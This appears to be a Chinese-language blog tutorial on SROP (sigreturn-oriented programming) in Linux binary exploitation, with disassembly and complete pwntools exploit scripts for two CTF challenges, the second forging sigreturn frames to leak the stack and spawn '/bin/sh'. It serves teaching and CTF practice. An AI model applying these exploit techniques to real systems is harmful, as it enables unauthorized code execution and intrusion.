Linux Pwn - 栈溢出与ROP(三)

SROP

SROP在论文Framing Signals — A Return to Portable Shellcode中被提出

与ROP类似,通过一个简单的栈溢出,覆盖返回地址并执行gadgets控制流,不同的是SROP使用sigreturn来覆盖返回地址,并伪造sigcontext结构存放于栈上

原理

SROP利用了Signal机制:当中断或异常产生时,内核会向进程发送一个signal,该进程被挂起,内核为其保存context,之后跳转到先前注册的signal handler中进行处理,返回后内核恢复进程context,具体流程如下:

  1. sigreturn frame被添加到栈中,这个frame保存了context
  2. 一个新的返回地址被添加到栈顶,这个返回地址指向sigreturn系统调用
  3. signal handler被调用,执行完后若程序为终止则返回地址用于执行signreturn系统调用
  4. sigreturn利用sigreturn frame恢复context

不同的架构有不同的sigreturn frame,x86下是sigcontext,x64下是ucontext_t

这里的重点是内核会恢复在栈上保存的signal frame,对于存在栈溢出的程序,可以伪造一个假的sigreturn frame从而利用这种机制控制所有context达到控制流程的效果

pwntools srop模块

在pwntools库中已经有现成的模块pwnlib.rop.srop

SigreturnFrame的构造有三种情况:

  1. 32位系统上运行32位程序

    1
    2
    context.arch = "i386"
    SigreturnFrame(kernel="i386")
  2. 64位系统上运行32位程序

    1
    2
    context.arch = "i386"
    SigreturnFrame(kernel="amd64")
  3. 64位系统上运行64位程序

    1
    2
    context.arch = "amd64"
    SigreturnFrame(kernel="amd64")

Backdoor CTF 2017: Fun Signals

该题关闭了所有保护,为x64程序,反汇编体量也非常小,如下可知该程序就干了两件事情:

  1. read(0, rsp, 0x400)
  2. rt_sigreturn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
.shellcode:0000000010000000 ; Segment type: Pure code
.shellcode:0000000010000000 ; Segment permissions: Read/Write/Execute
.shellcode:0000000010000000 _shellcode segment byte public 'CODE' use64
.shellcode:0000000010000000 assume cs:_shellcode
.shellcode:0000000010000000 ;org 10000000h
.shellcode:0000000010000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
.shellcode:0000000010000000
.shellcode:0000000010000000 public _start
.shellcode:0000000010000000 _start: ; Alternative name is '_start'
.shellcode:0000000010000000 xor eax, eax ; __start
.shellcode:0000000010000002 xor edi, edi
.shellcode:0000000010000004 xor edx, edx
.shellcode:0000000010000006 mov dh, 4
.shellcode:0000000010000008 mov rsi, rsp
.shellcode:000000001000000B syscall ; LINUX - sys_read
.shellcode:000000001000000D xor edi, edi
.shellcode:000000001000000F push 0Fh
.shellcode:0000000010000011 pop rax
.shellcode:0000000010000012 syscall ; LINUX - sys_rt_sigreturn
.shellcode:0000000010000014 int 3 ; Trap to Debugger
.shellcode:0000000010000015
.shellcode:0000000010000015 syscall: ; LINUX -
.shellcode:0000000010000015 syscall
.shellcode:0000000010000017 xor rdi, rdi
.shellcode:000000001000001A mov rax, 3Ch ; '<'
.shellcode:0000000010000021 syscall ; LINUX - sys_exit
.shellcode:0000000010000021 ; ---------------------------------------------------------------------------
.shellcode:0000000010000023 flag db 'fake_flag_here_as_original_is_at_server',0
.shellcode:0000000010000023 _shellcode ends

flag刚好也在程序中,可以使用write(1, &flag, 40)读取,利用SROP,伪造一个sigreturn frame来完成调用write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p = process("./funsignals_player_bin")
e = ELF("./funsignals_player_bin")

context.clear()
context.arch = "amd64"
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = e.symbols["flag"]
frame.rdx = 40
frame.rip = e.symbols["syscall"]

p.sendline(str(frame))
log.info(p.recv(40))

360春秋杯smallest-pwn

该题目开启了NX,反汇编代码非常少,如下

1
2
3
4
5
6
7
8
9
10
11
.text:00000000004000B0                 public start
.text:00000000004000B0 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004000B0 xor rax, rax
.text:00000000004000B3 mov edx, 400h ; count
.text:00000000004000B8 mov rsi, rsp ; buf
.text:00000000004000BB mov rdi, rax ; fd
.text:00000000004000BE syscall ; LINUX - sys_read
.text:00000000004000C0 retn
.text:00000000004000C0 start endp
.text:00000000004000C0
.text:00000000004000C0 _text ends

使用SROP,反复利用start主函数,这里调用的是read,可以通过read的返回值来控制rax,进而调用后续想要的系统调用,完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
p = process("./smallest")
e = ELF("./smallest")

# gdb.attach(p, "bp 0x04000B0")

context.clear()
context.arch = "amd64"

main_addr = 0x04000B0
syscall_addr = 0x004000BE

payload = p64(main_addr) * 3
p.send(payload) # -> rsp -- first_main_addr -- second_main_addr -- third_main_addr

# first_main_addr => 写入一个字节,覆盖second_main_addr跳过xor rax, rax,实现调用write泄露栈地址
p.send("\xB3")
# 覆盖second_main_addr -> write
data = p.recv()
stack_addr = u64(data[8:16]) # stack addr to write
log.info("stack addr => %s" % hex(stack_addr))

# third_main_addr
# frame - read()
frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_read
frame.rdi = constants.STDIN_FILENO
frame.rsi = stack_addr
frame.rdx = 0x400
frame.rsp = stack_addr
frame.rip = syscall_addr

# frame => stack,"A" * 8为后续call_sigreturn占位
read_frame = p64(main_addr) + "A" * 8 + str(frame)
p.send(read_frame)

# call sigreturn to read frame,执行read读取后续输入布置execve
call_sigreturn = p64(syscall_addr).ljust(0xf, "A")
p.send(call_sigreturn)

# frame - execve()
frame.rax = constants.SYS_execve
frame.rdi = stack_addr + 0x200 # 选择此处放置"/bin/sh",前面的空间被frame占据
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr
frame.rip = syscall_addr

# 由read_frame流程读取,设置布局
execve_frame = p64(main_addr) + "A" * 8 + str(frame)
execve_frame = execve_frame.ljust(0x200, "A") + "/bin/sh\x00"
p.send(execve_frame)

# 执行execve_frame
p.send(call_sigreturn)
p.interactive()

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021 lzeroyuee
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信